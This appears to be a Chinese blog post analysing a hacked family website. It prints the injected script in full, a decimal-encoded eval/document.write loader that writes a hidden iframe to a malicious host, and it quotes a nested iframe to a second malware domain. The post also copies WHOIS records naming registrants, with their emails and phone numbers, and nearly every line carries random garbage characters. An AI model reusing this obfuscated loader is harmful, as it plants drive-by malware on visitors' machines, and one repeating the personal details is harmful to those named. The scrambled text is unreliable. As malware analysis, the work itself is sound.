首发在我的博客里面，
KHiFJ_3 ZU'!iU|8 http://www.areway.cn/?p=175 @
$cUNvI `cP <}^] \L!uHAE2a 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
`&7RMa4= A Ayv <script>t=’60,105,102,114,97,109,101,
<T,A&`/ 32,115,114,99,61,104,116,116,112,58,47,47,
`ue[q!Qq 102,114,101,101,46,117,45,117,117,117,46,99,
~d>%,?z z 110,47,101,114,114,111,114,46,104,116,109,
_fTwmnA 32,119,105,100,116,104,61,49,48,48,32,104,
";3*?/uM 101,105,103,104,116,61,48,62,60,47,105,102,
`hh9"Ws% 114,97,109,101,62′;
XaI;2fMGI t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
tgF JZA /4S;QEv <script>t=’60,105,102,114,97,109,101,32,115,
^z1IN-Tm/ 114,99,61,104,116,116,112,58,47,47,102,114,
s}x>J8hK 101,101,46,117,45,117,117,117,46,99,110,47,
l4'~}nn(Y 101,114,114,111,114,46,104,116,109,32,119,
>}+Q:iNQ)2 105,100,116,104,61,49,48,48,32,104,101,105,
a^ nA Z 103,104,116,61,48,62,60,47,105,102,114,97,
uq7T{7~< 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
Os),;W0w 4 document.write(t);</script>
V}8$p8#<@ #m. AN <html xmlns=”
JV"NZvjN7d http://www.w3.org/1999/xhtml v L_zvX A “>
S 4vbN <head>
J07O:cjyu <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
Ng<1Sd|MV <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
g#^|oYuH6 <title>首页 - 爱生活家庭网
7| YrdK< :Z`4j 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
B+VuUt{S 转换字符串后的大概内容是（谁点击后果自付）：
w8M2N]&: <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
2=*=^)FNI ma8wmQ9 JR 查询玉米u-uuu.cn的详细信息：
E:A!wS`" Domain Name: u-uuu.cn
y0q#R.TOm ROID: 20070901s10001s64972306-cn
2wpjU&8W! Domain Status: ok
M]_E Registrant Organization: 王雷
M-9gD[m Registrant Name: 王雷
)q^ Bj$ Administrative Email:
czlovexs@126.com ]
pPz@@xx Sponsoring Registrar: 北京万网志成科技有限公司
0Oxz3r%} r Name Server:ns.yovole.com
_vYzF+ Name Server:ns1.yovole.com
hY;_/! _ Registration Date: 2007-09-01 17:54
KsdG(.I+ek Expiration Date: 2008-09-01 17:54
Y(i?M~3\t 最后PING了一下地址 都没有什么….
F|eu<^"$ H SE `l(-t L 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
*Z kss <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
3 ]}'TA`v <script language=”javascript” src=”
9U<Hf32 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script F>Jg~ FD* >
Qlz Q]:dWC 这个玉米应该有可能是木马作者的：
4,}GyVJFb` foafau.info的详细信息：
vjK, I9 Access to INFO WHOIS information is provided to assist persons in
} p'8 w\C$ determining the contents of a domain name registration record in the
H?:Jq\Ba0 Afilias registry database. The data in this record is provided by
U</+ .$b Afilias Limited for informational purposes only, and Afilias does not
pCt}66k} guarantee its accuracy. This service is intended only for query-based
K5flit4- access. You agree that you will use this data only for lawful purposes
sbla`6Fb and that, under no circumstances will you use this data to: (a) allow,
J+2R&3;_O enable, or otherwise support the transmission by e-mail, telephone, or
N/{?7sG& facsimile of mass unsolicited, commercial advertising or solicitations
:R+],m il to entities other than the data recipient’s own existing customers; or
M\UWWb&%\ (b) enable high volume, automated, electronic processes that send
]h@{6N'oNS queries or data to the systems of Registry Operator, a Registrar, or
Q4%IxR? Afilias except as reasonably necessary to register domain names or
YvTA+yL modify existing registrations. All rights reserved. Afilias reserves
8~5|KO >F the right to modify these terms at any time. By submitting this query,
=lrN'$z?% you agree to abide by this policy.
#v8Cy|I Domain ID:D22418703-LRMS
_i@x@:_l Domain Name:FOAFAU.INFO
V\zsDP Created On:20-Nov-2007 16:05:42 UTC
ryEvm WYu Last Updated On:20-Nov-2007 16:05:44 UTC
t<lyg0f Expiration Date:20-Nov-2008 16:05:42 UTC
5Rs?CVVb Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
r<(kLpO H% Status:CLIENT DELETE PROHIBITED
E^syrEz Status:CLIENT RENEW PROHIBITED
Ekf2N T Status:CLIENT TRANSFER PROHIBITED
;D&wh Status:CLIENT UPDATE PROHIBITED
M[,^KJ! Status:TRANSFER PROHIBITED
SJ(9rhB5*. Registrant ID:GODA-040110615
d| \#?W& Registrant Name:liu hong
s1=u{ET Registrant Organization:
Mf7E72{D Registrant Street1:beijing
\UQ],+H Registrant Street2:
XI
g|G}i. Registrant Street3:
'%Dg{ zL Registrant City:beijing
A I fk"2 Registrant State/Province:
'%O\ E{h Registrant Postal Code:100000
oZvG3_H4 . Registrant Country:CN
`q1}6U/k Registrant Phone:+86.860108888777
m t .,4 Registrant Phone Ext.:
= +Tsknq Registrant FAX:
J WS q"N Registrant FAX Ext.:
I b(,P3 Registrant Email:bbbshiji@163.com
HjPH Admin ID:GODA-240110615
%#Q
#N,fw Admin Name:liu hong
\]GGVI ;u Admin Organization:
F\P!NSFZV Admin Street1:beijing
]eL~L_[G\ Admin Street2:
<M>#qd@c
Admin Street3:
{lKEZirO Admin City:beijing
mZ &] Admin State/Province:
&@Y oj %% Admin Postal Code:100000
L`bo#,eg6 Admin Country:CN
v _.j/2U Admin Phone:+86.860108888777
N>T=L0` Admin Phone Ext.:
2X +7b M Admin FAX:
W.sD2 f Admin FAX Ext.:
^f"&}%" M Admin Email:bbbshiji@163.com
`} n 0=E Billing ID:GODA-340110615
4t(QvIydA Billing Name:liu hong
oPE.gn_$ Billing Organization:
"URVX1#(r Billing Street1:beijing
JG1LS$p^ Billing Street2:
_c,&\ wl$ Billing Street3:
/XC;.dLA# Billing City:beijing
9Z}S ]-u/ Billing State/Province:
vV2o[\o^ Billing Postal Code:100000
|Yg}WHm Billing Country:CN
|O'Hh7 Billing Phone:+86.860108888777
P}b Dn; Billing Phone Ext.:
~MD><w> Billing FAX:
> 4Fd xa Billing FAX Ext.:
*GB$sXF Billing Email:bbbshiji@163.com
jR }*bIzv Tech ID:GODA-140110615
047*gn.b Tech Name:liu hong
FkLQBpp(x Tech Organization:
UeC 81*XZ Tech Street1:beijing
*YMXiY JR Tech Street2:
bK6, saN> Tech Street3:
E%KC'T N^D Tech City:beijing
F5Cqv0H V Tech State/Province:
.kz(V5 Tech Postal Code:100000
WIhIEU7 / Tech Country:CN
B/[hi%~ Tech Phone:+86.860108888777
)I^ )*(} Tech Phone Ext.:
3ytx"=B% Tech FAX:
pU[a[ Tech FAX Ext.:
|Sy}d[VKsZ Tech Email:bbbshiji@163.com
"@F*$JGT y Name Server:NS27.DOMAINCONTROL.COM
|rG8E;> Name Server:NS28.DOMAINCONTROL.COM
\f ~u85 Name Server:
,=x.aX
Spz Name Server:
AqTR.}H Name Server:
-sruxF Name Server:
} j]<&I} Name Server:
`Nxo 0Q Name Server:
`"-`D!U?$ Name Server:
4'7
v!I9 Name Server:
x|P<F 2L Name Server:
+Px<DX+ Name Server:
w%!k?t,*] Name Server:
OoA5!HEh S.?\ >iH[ 接着下载每个文件里面的代码：
T/X?ZK(T 一步一步看..
^H y)< P 
QqT6P`0u 
N
P0Hgd 
~50y- 
]-+.lR%vd9 
w7.?zb !N 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
